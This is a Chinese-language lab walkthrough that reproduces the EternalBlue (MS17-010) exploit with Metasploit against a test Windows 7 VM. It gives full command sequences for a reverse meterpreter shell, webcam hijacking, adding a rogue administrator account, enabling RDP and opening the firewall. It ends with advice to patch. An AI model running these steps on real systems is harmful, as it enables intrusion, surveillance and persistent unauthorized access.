[LOG]永恆之藍EternalBlue(MS17-010)復現實驗 0x00 1:Kali 0:默認開啟445埠,沒有打補丁的,MSDN下的非常純凈的windows7 x64 pro 組網環境:VMware+Kali(橋接)+windows7(橋接) 0x01 首先,EternalBlue是指Windows系統的445埠上的SMB(Server Message Block)協議存在的一個特定漏洞的利用工具,通過使用該工具攻擊具有這個特定漏洞的SMB協議,即可獲得該系統的Shell。 0x02 完成實驗環境的配置: Kali:192.168.31.95 Windows7:192.168.31.51 0x03 現在開始掃描目標是否存在EternalBlue Vuln,首先打開一個Terminal: 現在依次輸入以下代碼,來檢測目標: msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.31.51 run 若返回Host is likely VULNERABLE to MS17-010! 則存在: 0x04 現在開始Attack,繼續在該Terminal輸入以下指令: use exploit/windows/smb/ms17_010_eternalblue set LHOST 192.168.31.95 set LPORT 4444 set payload windows/x64/meterpreter/reverse_tcp set RHOST 192.168.31.51 run 上述第一行是載入Metasploit中的EternalBlue攻擊模塊 第二行是設置接收shell的IP地址 第三行是設置監聽shell返回的埠 第四行是設置shell的通信類型以及向目標發起通信 payload裝載的是成功觸發漏洞後在被攻擊的計算機上要執行的代碼 第五行是設置攻擊目標 第六行,攻擊 一步到位,返回了一個我們上述第四行設置好的MeterpreterShell,現在讓我們來試試控制被攻擊的計算機的攝像頭,首先查看此計算機是否有攝像頭,輸入指令: webcam_list 嘿嘿,有一個攝像頭: 當然,這是我事先在WMware開啟的Windows7中點擊此處載入了攝像頭: 現在開啟此攝像頭,注意了,如果攝像頭有燈,是會亮的,輸入指令: webcam_stream 現在系統會自動彈出一個瀏覽器窗口: 是的,我們成功控制了被攻擊的計算機的攝像頭。 0x05 現在讓我們從獲得的MeterpreterShell轉到CMDShell,Ctrl+c退出攝像頭,輸入指令: shell 然後,我們可以做的事就非常多了,比如開啟位於3389埠的遠程桌面協議(RDP, Remote Desktop Protocol) ,比如提升至system許可權等,先來遠程打開一個計算器吧,輸入以下指令: calc 然後去Windows7的界面看一看: 觸發了Interactive Services Detection,不過這不重要,接下來我們開啟RDP試一試,先新建一個用戶,並加入到管理員組裡,輸入以下指令: net user /add Tom tom123123 net localgroup administrators Tom /add 然後,修改註冊表,將RDP改為啟用狀態,輸入以下指令: reg add "hklmsystemcurrentControlSetControlTerminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f reg add "hklmsystemcurrentControlSetControlTerminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f 接下來,啟動RDP服務: sc config TermService start= auto net start Termservice 為了不被防火牆攔截,給防火牆也設置一條規則,輸入以下指令: netsh.exe firewall add portopening TCP 3389 "Remote Desktop" 現在,讓我們登錄RDP試試,重新打開一個Terminal,輸入以下指令: rdesktop 192.168.31.51:3389 彈出一個登錄框,選擇其他用戶,輸入我們上述步驟中創建的賬戶Tom: 將當前登錄的賬戶頂下去: 現在我們已經獲得了一個遠程桌面: 而原本的賬戶,將被註銷: 0x06 通過實驗可以看出,永恆之藍的危害是相當大的,大家一定要及時的乖乖打補丁。 永恆之藍的影響範圍是Windows8及其以下版本,包括伺服器版本。 如果SMB協議不常用的話,445埠可以關掉,這埠可是老出事的。 推薦閱讀: 相關文章 {{#data}} {{title}} {{/data}}